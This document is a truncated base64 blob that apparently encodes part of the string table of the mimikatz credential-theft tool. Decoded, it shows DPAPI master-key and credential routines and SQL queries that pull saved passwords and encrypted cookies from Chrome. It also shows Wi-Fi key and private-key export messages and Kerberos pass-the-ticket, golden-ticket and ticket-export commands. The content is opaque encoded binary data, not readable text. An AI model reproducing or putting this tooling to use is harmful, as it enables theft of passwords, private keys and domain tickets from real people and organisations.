AGQAcABhAHAAaQBfAG8AZQBfAGMAcgBlAGQAZQBuAHQAaQBhAGwAXwBhAGQAZAAgADsAIABOAG8AIABTAEkARAA/AAAAAABTAEkARAA6ACUAcwAAAAAATQBEADQAOgAAAAAAUwBIAEEAMQA6AAAATQBEADQAcAA6AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AZABvAG0AYQBpAG4AawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAPwAAAFIAUwBBAAAATABFAEcAQQBDAFkAAAAAADsAVABZAFAARQA6ACUAcwAKAAAAbQBpAG0AaQBrAGEAdAB6AF8AZABwAGEAcABpAF8AYwBhAGMAaABlAC4AbgBkAHIAAAAAAGYAaQBsAGUAAAAAAGYAbAB1AHMAaAAAAAoAIQAhACEAIABGAEwAVQBTAEgAIABjAGEAYwBoAGUAIAAhACEAIQAKAAAAbABvAGEAZAAAAAAACgBMAE8AQQBEACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAAoAQwBSAEUARABFAE4AVABJAEEATABTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAACgBNAEEAUwBUAEUAUgBLAEUAWQBTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAACgBEAE8ATQBBAEkATgBLAEUAWQBTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAcwBhAHYAZQAAAAAACgBTAEEAVgBFACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAEEAdQB0AG8AIABTAEkARAAgAGYAcgBvAG0AIABwAGEAdABoACAAcwBlAGUAbQBzACAAdABvACAAYgBlADoAIAAlAHMACgAAAFcAaQBsAGwAIABlAG4AYwBvAGQAZQA6AAoAIAAqACAAJQAzAHUAIABNAGEAcwB0AGUAcgBLAGUAeQAoAHMAKQAKACAAKgAgACUAMwB1ACAAQwByAGUAZABlAG4AdABpAGEAbAAoAHMAKQAKACAAKgAgACUAMwB1ACAARABvAG0AYQBpAG4ASwBlAHkAKABzACkACgAAAAAARQBuAGMAbwBkAGUAZAA6AAoAIAAqACAAYQBkAGQAcgA6ACAAMAB4ACUAcAAKACAAKgAgAHMAaQB6AGUAOgAgACUAdQAKAAAAVwByAGkAdABlACAAZgBpAGwAZQAgACcAJQBzACcAOgAgAAAATwBLAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBvAGUAXwBTAGEAdgBlAFQAbwBGAGkAbABlACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAFIAZQBhAGQAIABmAGkAbABlACAAJwAlAHMAJwA6ACAAAAAAAAAAAAAgACoAIAAlADMAdQAvACUAMwB1ACAATQBhAHMAdABlAHIASwBlAHkAKABzACkAIABpAG0AcABvAHIAdABlAGQACgAAAAAAAAAgACoAIAAlADMAdQAvACUAMwB1ACAAQwByAGUAZABlAG4AdABpAGEAbAAoAHMAKQAgAGkAbQBwAG8AcgB0AGUAZAAKAAAAAAAgACoAIAAlADMAdQAvACUAMwB1ACAARABvAG0AYQBpAG4ASwBlAHkAKABzACkAIABpAG0AcABvAHIAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAEwAbwBhAGQARgByAG8AbQBGAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbG9naW5zAABzZWxlY3Qgc2lnbm9uX3JlYWxtLCBvcmlnaW5fdXJsLCB1c2VybmFtZV92YWx1ZSwgcGFzc3dvcmRfdmFsdWUgZnJvbSBsb2dpbnMAAAAAAAoAVQBSAEwAIAAgACAAIAAgADoAIAAlAC4AKgBTACAAKAAgACUALgAqAFMAIAApAAoAVQBzAGUAcgBuAGEAbQBlADoAIAAlAC4AKgBTAAoAAAAAAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQAuACoAUwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAHMAdABlAHAAOgAgACUAUwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAHAAcgBlAHAAYQByAGUAXwB2ADIAOgAgACUAUwAKAAAAY29va2llcwBzZWxlY3QgaG9zdF9rZXksIHBhdGgsIG5hbWUsIGNyZWF0aW9uX3V0YywgZXhwaXJlc191dGMsIGVuY3J5cHRlZF92YWx1ZSBmcm9tIGNvb2tpZXMgb3JkZXIgYnkgaG9zdF9rZXksIHBhdGgsIG5hbWUAAAAAAAAKAEgAbwBzAHQAIAAgADoAIAAlAC4AKgBTACAAKAAgACUALgAqAFMAIAApAAoATgBhAG0AZQAgACAAOgAgACUALgAqAFMACgBEAGEAdABlAHMAIAA6ACAAAAAAACAALQA+ACAAAAAAAEMAbwBvAGsAaQBlADoAIAAlAC4AKgBTAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABOAGUAaQB0AGgAZQByACAAdABoAGUAIAB0AGEAYgBsAGUAIAAnAGwAbwBnAGkAbgBzACcAIABvAHIAIAB0AGgAZQAgAHQAYQBiAGwAZQAgACcAYwBvAG8AawBpAGUAcwAnACAAZQB4AGkAcwB0ACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBvAHAAZQBuAF8AdgAyADoAIAAlAFMAIAAoACUAUwApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AaQBuAGkAdABpAGEAbABpAHoAZQA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAASQBuAHAAdQB0ACAAJwBMAG8AZwBpAG4AIABEAGEAdABhACcAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAIgAlACUAbABvAGMAYQBsAGEAcABwAGQAYQB0AGEAJQAlAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAFUAcwBlAHIAIABEAGEAdABhAFwARABlAGYAYQB1AGwAdABcAEwAbwBnAGkAbgAgAEQAYQB0AGEAIgApAAoAAABzZWxlY3QgY291bnQoKikgZnJvbSBzcWxpdGVfbWFzdGVyIHdoZXJlIHR5cGU9J3RhYmxlJyBhbmQgbmFtZT0/AAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlAF8AaQBzAFQAYQBiAGwAZQBFAHgAaQBzAHQAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAHMAdABlAHAAOgAgACUAUwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlAF8AaQBzAFQAYQBiAGwAZQBFAHgAaQBzAHQAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAGIAaQBuAGQAXwB0AGUAeAB0ADoAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AcAByAGUAcABhAHIAZQBfAHYAMgA6ACAAJQBTAAoAAAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAATABlAGcAYQBjAHkAIABDAHIAZQBkAGUAbgB0AGkAYQBsACgAcwApADoACgAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABDAHIAZQBkAGUAbgB0AGkAYQBsADoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAcABvAGwAaQBjAHkAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAG8AbABpAGMAeQAgAEsAZQB5AHMAOgAKAAAAAAAgACAAQQBFAFMAMQAyADgAIABrAGUAeQA6ACAAAAAAACAAIABBAEUAUwAyADUANgAgAGsAZQB5ADoAIAAAAAAAIAAgAD4AIABBAHQAdAByAGkAYgB1AHQAZQAgACUAdQAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABwAG8AbABpAGMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABJAG4AcAB1AHQAIABDAHIAZQBkACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGMAcgBlAGQAOgBmAGkAbABlACkACgAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAgAEUAeABwAG8AcgB0ACAAZgBsAGEAZwBzADoACgAAAAAASGoxZGlRNmtwVXg3VkM0bQAAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAHIAYQB3AF8AcwBpAGcAbgBhAHQAdQByAGUAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8ARQBYAEMASABBAE4ARwBFACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAAAByAGEAdwBfAGUAeABjAGgAYQBuAGcAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEkAbgBwAHUAdAAgAEMAQQBQAEkAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABQAHIAbwBwAGUAcgB0AGkAZQBzADoACgAAADZqbmtkNUozWmRRRHRyc3UAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAHhUNXJaVzVxVlZicnZwdUEAAAAAcgBhAHcAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABJAG4AcAB1AHQAIABDAE4ARwAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAG4AYQBtAGUAAAAAAFAAcgBvAGYAaQBsAGUAIAAnACUAcwAnAAoACgAAAAAAUwBTAEkARAAAAAAAIAAqACAAUwBTAEkARAAgAAAAAABuAGEAbQBlACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGgAZQB4AAAAaABlAHgAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAA/AAoAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAAAAAIAAqACAAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuADoAIAAlAHMACgAAAAAAZQBuAGMAcgB5AHAAdABpAG8AbgAAAAAAIAAqACAARQBuAGMAcgB5AHAAdABpAG8AbgAgACAAIAAgADoAIAAlAHMACgAAAAAAawBlAHkATQBhAHQAZQByAGkAYQBsAAAAIAAqACAASwBlAHkAIABNAGEAdABlAHIAaQBhAGwAIAAgADoAIAAAAFcARQBQAAAAKABoAGUAeAApACAAAAAAACUALgAqAFMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwBpAGYAaQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwBpAGYAaQAgADsAIABJAG4AcAB1AHQAIABXAGwAYQBuACAAWABNAEwAIABwAHIAbwBmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABOAGEAbQBlAAAAAABBAGMAYwBlAHMAcwBTAHQAcgBpAG4AZwAAAAAAIAAqACAAQQBjAGMAZQBzAHMAUwB0AHIAaQBuAGcAIAAgACAAIAA6ACAAJQBzAAoAAAAAAFMAdQBiAHMAYwByAGkAYgBlAHIASQBEAAAAAAAgACoAIABTAHUAYgBzAGMAcgBpAGIAZQByAEkARAAgACAAOgAgAAAAJQAuACoAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwB3AGEAbgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwB3AGEAbgAgADsAIABJAG4AcAB1AHQAIABXAHcAYQBuACAAWABNAEwAIABwAHIAbwBmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAABwAHQAdAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAGwAaQBzAHQAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAYQBzAGsAAABBAHMAawAgAG8AcgAgAGcAZQB0ACAAVABHAFMAIAB0AGkAYwBrAGUAdABzAAAAAAB0AGcAdAAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAcAB1AHIAZwBlAAAAUAB1AHIAZwBlACAAdABpAGMAawBlAHQAKABzACkAAABnAG8AbABkAGUAbgAAAAAAVwBpAGwAbAB5ACAAVwBvAG4AawBhACAAZgBhAGMAdABvAHIAeQAAAEgAYQBzAGgAIABwAGEAcwBzAHcAbwByAGQAIAB0AG8AIABrAGUAeQBzAAAAcAB0AGMAAABQAGEAcwBzAC0AdABoAGUALQBjAGMAYQBjAGgAZQAgAFsATgBUADYAXQAAAGMAbABpAHMAdAAAAAAAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAcwAgAGkAbgAgAE0ASQBUAC8ASABlAGkAbQBkAGEAbABsACAAYwBjAGEAYwBoAGUAAABrAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAACoAIABEAGkAcgBlAGMAdABvAHIAeQA6ACAAJwAlAHMAJwAKAAAAAAAqAC4AawBpAHIAYgBpAAAACgAqACAARgBpAGwAZQA6ACAAJwAlAHMAJwA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAATABzAGEAQwBhAGwAbABLAGUAcgBiAGUAcgBvAHMAUABhAGMAawBhAGcAZQAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAABUAGkAYwBrAGUAdAAoAHMAKQAgAHAAdQByAGcAZQAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIABpAHMAIABPAEsACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAACgAKAAkAKgAqACAAUwBlAHMAcwBpAG8AbgAgAGsAZQB5ACAAaQBzACAATgBVAEwATAAhACAASQB0ACAAbQBlAGEAbgBzACAAYQBsAGwAbwB3AHQAZwB0AHMAZQBzAHMAaQBvAG4AawBlAHkAIABpAHMAIABuAG8AdAAgAHMAZQB0ACAAdABvACAAMQAgACoAKgAKAAAAAABuAG8AIAB0AGkAYwBrAGUAdAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAZQB4AHAAbwByAHQAAAAAAAoAWwAlADAAOAB4AF0AIAAtACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAACgAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAACAAOwAgAAAACgAgACAAIABTAGUAcgB2AGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAACgAgACAAIABDAGwAaQBlAG4AdAAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAKACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAGsAaQByAGIAaQAAAAoAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAB0AGsAdAAAAG4AbwBjAGEAYwBoAGUAAAB0AGEAcgBnAGUAdAAAAAAAcgBjADQAAABkAGUAcwAAAGEAZQBzADIANQA2AAAAAABhAGUAcwAxADIAOAAAAAAAQQBzAGsAaQBuAGcAIABmAG8AcgA6ACAAJQB3AFoACgAAAAAAIAAgACAAKgAgAFQAaQBjAGsAZQB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAFQAeQBwAGUAIAAmACAAawB2AG4AbwAgAG4AbwB0ACAAcgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAdgBlACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAAAAAAAACAAIAAgACoAIABOAG8AQwBhAGMAaABlADoAIABlAHgAcABvAHIAdABlAGQAIAB0AGkAYwBrAGUAdAAgAG0AYQB5ACAAdgBhAHIAeQAgAHcAaQB0AGgAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAGEAdAAgAHMAYwByAGUAZQBuAAoAAAAKACAAIAAgACoAIABUAEsAVAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIAAqACAASwBpAFIAQgBpACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIAAnACUAdwBaACcAIABLAGUAcgBiAGUAcgBvAHMAIABuAGEAbQBlACAAbgBvAHQAIABmAG8AdQBuAGQAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABBAHQAIABsAGUAYQBzAHQAIAAvAHQAYQByAGcAZQB0ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAcgBlAHEAdQBpAHIAZQBkACAAKABlAGcAOgAgAC8AdABhAHIAZwBlAHQAOgBjAGkAZgBzAC8AcwBlAHIAdgBlAHIALgBsAGEAYgAuAGwAbwBjAGEAbAApAAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAlADAAOAB4AC0AbgBvAG4AYQBtAGUALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4Aa